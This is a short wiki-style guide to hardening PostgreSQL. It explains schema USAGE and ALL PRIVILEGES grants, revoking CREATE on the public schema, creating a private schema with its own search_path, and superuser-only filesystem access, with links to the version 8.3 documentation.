For schemas, allows access to objects contained in the specified schema (assuming that the objects' own privilege requirements are also met). Essentially this allows the grantee to "look up" objects within the schema. Without this permission, it is still possible to see the object names, e.g. by querying the system tables. Also, after revoking this permission, existing backends might have statements that have previously performed this lookup, so this is not a completely secure way to prevent object access.

For sequences, this privilege allows the use of the currval and nextval functions. 

|-
| ALL PRIVILEGES 
| Grant all of the available privileges at once. The PRIVILEGES key word is optional in PostgreSQL, though it is required by strict SQL. 
|}

http://www.postgresql.org/docs/8.3/interactive/sql-grant.html 

== Removing the default "public" schema ==

By default PostgresSQL use a public schema used for store information about the databases, tables, procedures. This schema by default is accessible by all users, so all users can see every tables structure or procedures. 

=== Removing the public schema ===

Removing the public schema from all users. 
<pre>REVOKE CREATE ON SCHEMA public FROM PUBLIC;</pre>
=== Creating a new protected schema ===
<pre>CREATE SCHEMA myschema AUTHORIZATION [username];
</pre>
=== Modify search_path of the user ===
<pre>SET search_path TO myschema,public;
</pre>
In this way the database structure will be stored on a private schema and the access will be guaranteed only to the right user. 

http://www.postgresql.org/docs/8.3/interactive/ddl-schemas.html 

== Limiting file access to filesystem and system routines ==

By default PostrgreSQL deny to all users to access filesystem and system routines, only superuser are allowed to do that.

= References =

PostgreSQL documentation can be found at http://www.postgresql.org/docs/